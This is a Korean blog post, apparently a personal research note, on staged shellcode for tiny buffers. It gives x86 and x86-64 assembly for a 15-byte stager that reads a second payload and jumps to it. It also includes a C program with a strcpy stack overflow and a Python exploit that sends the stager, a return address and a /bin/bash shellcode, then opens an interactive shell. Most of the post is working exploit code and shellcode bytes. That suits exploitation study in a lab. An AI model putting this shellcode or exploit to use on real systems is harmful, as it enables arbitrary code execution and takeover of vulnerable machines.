.global main
main:
cdq
mul %edx
push %edx
pop %ebx
movb $0xff,%dl
addb $0x3,%al
push %esp
pop %ecx
int $0x80
jmp *%ecx
위는 32비트전용 아래는 64비트 전용
.global main
main:
cdq
mul %rdx
push %rdx
pop %rdi
movb $0xff,%dl
push %rsp
pop %rsi
syscall
jmp *%rsi
cdq; mul %edx 이 구문을 이용하면 32비트일때 \x99\xf7\xe2 3바이트로 eax와 edx 둘을 0으로 초기화 시킬 수 있다. 64비트일때는 한바이트가 더 들어간다.
가끔 cdq가 안먹힐 때가 있는데, cdq를 빼고 xor %edx,%edx 넣어 16바이트 로 쓸 수도 있다.
이 쉘코드가 실행되면 read(0,buf,0xff)가 수행되고 buf로 jmp 하게된다.
(디스크립터 부분을 변경하고 싶다면 %ebx를 변경시켜야한다.)
총 바이트 수가 15바이트(64비트는 14바이트)이므로 쉘코드를 쓸 수 있지만 버퍼 공간이 터무니 없이 작을 때, 사용이 가능하다.
#include<stdio.h>
char g[16];
int main()
{
char l[4];
read(0,g,24);
strcpy(l,g);
}
이런 소스의 바이너리가 있다고 치자.
이 바이너리는 우분투 14.04 32비트 기준으로 16 + 4(Return Address) 의 버퍼구조를 갖는다. 스택쿠키를 끄고 메모리에 실행권한을 준다.
16바이트는 쉘코드 공간으로 좀 부족하다. 이럴 때 쉘코드 수신 쉘코드를 쓴다.
#!/usr/bin/python
from socket import *
from struct import pack
import telnetlib
p = lambda x :pack("<L",x)
host = "localhost"
port = 7141
shellcode1 = "\x31\xd2\xf7\xe2\x52\x5b\xb2\xff\x04\x03\x54\x59\xcd\x80\xff\xe1"
shellcode2 = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80"
g = 0x804a025
s = create_connection((host,port))
payload = ""
payload += shellcode1
payload += p(g)
raw_input()
s.send(payload + "\n")
s.send(shellcode2)
t = telnetlib.Telnet(host,port)
t.sock = s
t.interact()
테스트해보니 이상하게 cdq 구문이 먹히지 않았다. 그래서 cdq를 xor edx, edx로 바꾸고 넣어줬다.
shellcode2는 쉘을 실행시키는 코드이다. 이런식으로 버퍼크기가 작을 때 사용할 수 있다.
* 2016_07_29 : cdq는 부호확장으로 eax가 음수면 edx가 0xffffffff가 된댄다.
그리고 gcc 컴파일할 때 -nostdlib 하면 main으로 엔트리 포인트 안바뀜
진모랑 오늘 이것저것 얘기하면서 쉘코드 줄여달라고 얘기했는데 짱많이 줄여줌 헤헤
xor ebx, ebx
mul ebx
mov al, 3
mov ecx, esp
dec edx
int 0x80
jmp ecx
'Research' 카테고리의 다른 글
arm exploitation using ROP (0) | 2015.02.26 |
---|---|
arm exploitation using shellcode (0) | 2015.02.21 |
blind sql injection script template (1) | 2015.02.20 |
UAF에 대한 고찰 (1) | 2014.03.09 |